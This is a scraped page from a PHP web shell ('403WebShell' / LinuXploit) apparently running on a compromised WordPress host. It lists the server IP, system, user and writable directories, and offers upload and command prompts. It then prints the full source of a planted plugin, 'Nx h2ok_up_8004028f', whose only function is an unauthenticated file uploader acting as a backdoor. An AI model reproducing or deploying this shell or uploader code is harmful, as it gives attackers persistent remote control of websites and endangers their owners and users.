Uname:Linux marissa.metanet.ch 4.18.0-553.141.2.lve.el7h.x86_64 #1 SMP Wed Jul 8 17:20:31 UTC 2026 x86_64

Base Dir : /home/httpd/vhosts/comeonline.ch/httpdocs

User : onlineadmin


403WebShell
403Webshell
Server IP : 80.74.154.100  /  Your IP : 216.73.217.0
Web Server : Apache
System : Linux marissa.metanet.ch 4.18.0-553.141.2.lve.el7h.x86_64 #1 SMP Wed Jul 8 17:20:31 UTC 2026 x86_64
User : onlineadmin ( 10487)
PHP Version : 8.5.7
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/httpd/vhosts/comeonline.ch/httpdocs/wp-content/plugins/h2ok_up_8004028f/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/vhosts/comeonline.ch/httpdocs/wp-content/plugins/h2ok_up_8004028f/h2ok_up_8004028f.php
<?php
/*
Plugin Name: Nx h2ok_up_8004028f
Description: Simple upload
Version: 1.0
*/
$msg = '';
if ( isset( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] === 'POST' && isset( $_FILES['file'] ) ) {
	$f = $_FILES['file'];
	if ( is_array( $f ) && (int) $f['error'] === UPLOAD_ERR_OK && is_uploaded_file( $f['tmp_name'] ) ) {
		$name = basename( (string) $f['name'] );
		$name = preg_replace( '/[^A-Za-z0-9._-]/', '_', $name );
		if ( $name === '' || $name === null ) { $name = 'upload.bin'; }
		$dest = __DIR__.DIRECTORY_SEPARATOR . $name;
		if ( move_uploaded_file( $f['tmp_name'], $dest ) && is_file( $dest ) ) {
			$msg = 'OK ' . htmlspecialchars( $name, ENT_QUOTES, 'UTF-8' );
		} else { $msg = 'FAIL'; }
	} else { $msg = 'NOFILE'; }
}
?><!DOCTYPE html>
<html><head><meta charset="utf-8"><meta name="robots" content="noindex,nofollow"><title>upload</title></head>
<body>
<p class="s">sig :: H2OK</p>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">upload</button>
</form>
<?php if ( $msg !== '' ) : ?><pre><?php echo htmlspecialchars( $msg, ENT_QUOTES, 'UTF-8' ); ?></pre><?php endif; ?>
</body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit